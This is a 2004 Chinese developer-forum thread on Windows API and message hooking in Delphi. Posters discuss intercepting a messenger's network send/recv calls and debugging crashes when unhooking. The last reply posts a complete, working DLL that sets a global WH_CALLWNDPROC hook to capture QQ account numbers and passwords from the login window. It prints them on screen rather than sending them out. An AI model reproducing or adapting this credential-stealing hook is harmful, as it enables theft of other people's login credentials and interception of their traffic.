http://dev.csdn.net/Develop/article/22/22765.shtm2004.2.12 12:15 Frank001 发表评论  
通过这个方法,我已经截获成功了,但是退出截获程序后,目标程序就会出现内存读写错误,有时候还会影响到其他不相关的程序。是不是内存相关的操作那里出错,还是那些资源没有正确的释放。
刚刚接触hook这方面的技术,还往作者指教。我遇到了和上面这位朋友同样的问题,在UnHook时被挂钩的程序死掉(测试的是MSN Messenger),而且上面代码有逻辑问题,他的UnHook过程为:
procedure UnHook;stdcall;
begin
  UnHookAPI;
  //卸载Hook
  UnhookWindowsHookEx(DLLData^.Hook);
end;
而UnHookAPI是这样实现的:
procedure UnHookAPI;
var
  dwSize: Cardinal;
begin
  WriteProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);
  WriteProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);
end;
注意,是宿主程序调用UnHook,而HookAPI这个过程是被Hook的应用程序调用的,也就是说,像ProcessHandle,AddSend,@OldProc等这些变量是在两个进程中,在HookAPI中是被Hook的应用程序使用,在UnHookAPI中是宿主程序在使用,作者并没有内存映射来共享这些变量,所以在UnHookAPI过程中,这些变量是默认被初始化为0的(全局变量),即使UnhookWindowsHookEx成功,也会造成错误,因为数据未被还原,还被写入了不正确的值.有人调试过这段代码吗?或者有其它方法?

解决方案 »

  1.   

    你說的我沒試過, 如果你想
    >>拦截其它程序的网络数据封包 可試下這個:
    http://borland.mblogger.cn/aiirii/posts/3560.aspx
      

  2.   

    问题的原因:
    UnHook前要把改写的内存还原,但不能在调用者进程中写被HOOK的程序的内存,需要被调用者自己把正确的数据写回去.
      

  3.   

    现在已经基本解决问题,新问题是:
    挂WH_GETMESSAGE,在回调过程中能不能取得当前被挂钩的窗口的句柄,如果不行,要用什么样的钩子?
      

  4.   

    回调函数是这样的
    procedure HookProc(nCode, wParam, lParam: LongWORD);stdcall;
    SendMessage的原型
    function SendMessage(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;请问,在回调函数中如何得到消息ID?也就是Msg参数
      

  5.   

    使用windows消息钩子的目的是使得dll进入目标进程,且钩子回调函数是作为目标进程代码执行的。
    这样就解决了不同进程逻辑上内存空间互相独立不好访问等问题。钩子有很多种,每种的回
    调函数的参数意义都有不同,也有很多类型的钩子可以得到目标窗体句柄,
    对于WH_GETMESSAGE钩子回调函数,在从消息队列中取消息时候被调用,回调函数形如  : 
    LRESULT CALLBACK GetMsgProc(
        int code,  // hook code
        WPARAM wParam,  // removal flag
        LPARAM lParam  // address of structure with message
       );
     lParam 是 此结构体指针 :
    typedef struct tagMSG {     // msg  
        HWND   hwnd;   //目标句柄
        UINT   message; 
        WPARAM wParam; 
        LPARAM lParam; 
        DWORD  time; 
        POINT  pt; 
    } MSG; 用WH_CALLWNDPROC也可以,这个钩子回调函数在sendmessage时候被调用,
    实际使用,见下面这个DLL代码,利用此钩子----截取qq登录密码---:library HookDLL;uses
      Windows;const
      WM_DESTROY = $0002;var
      CallHook:HHook;  //----------取帐号密码 写在桌面---------
    procedure GetPassWord(WinH:Longint);
    var
      buffer:array[0..50] of char;
      Number,PassWord:Longint;
      V:string;
      DC:HDC;
    begin
    //约束条件
      GetClassName(WinH,buffer,10);
      if buffer<>'#32770' then exit;
      if FindWindowEx(WinH,0,'Button','注册向导')=0 then exit;
    //取号码和密码句柄
      Number:=FindWindowEx(WinH,0,'ComboBox',nil);
      if Number=0 then exit;
      PassWord:=FindWindowEx(WinH,0,'Edit',nil);
      if PassWord=0 then exit;
    //取内容
      SendMessage(Number, $000D, 50, Integer(@buffer));
      V:='number:'+ string(buffer);         
      SendMessage(PassWord, $000D, 50, Integer(@buffer));
      V:=V+'  password:'+ string(buffer);
    //写到屏幕上
      DC:=GetDC(0);
      TextOut(DC,200,200,Pchar(V),Length(V));
      ReleaseDC(0,DC);
    end;//----------------钩子回调函数-------------------
    function Hook(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
    begin                      {--窗体被注销--}(也就是点登录之后qq回关闭登录窗体)
      if (nCode=HC_ACTION)and(PCWPStruct(lParam).message=WM_DESTROY) then
        GetPassWord(PCWPStruct(lParam).hwnd); //--窗体句柄--
      Result:=CallNextHookEx(CallHook,nCode,Wparam,lParam);
    end;//------------------挂钩---------------
    procedure HookOn;
    begin
      CallHook:=SetWindowsHookEx(WH_CALLWNDPROC,@Hook,HInstance,0);
    end;//-------------------脱钩--------------
    procedure HookOff;
    begin
      UnHookWindowsHookEx(CallHook);
    end;     //-------导出函数-------------
    exports             
      HookOn,HookOff;  
    begin
    end.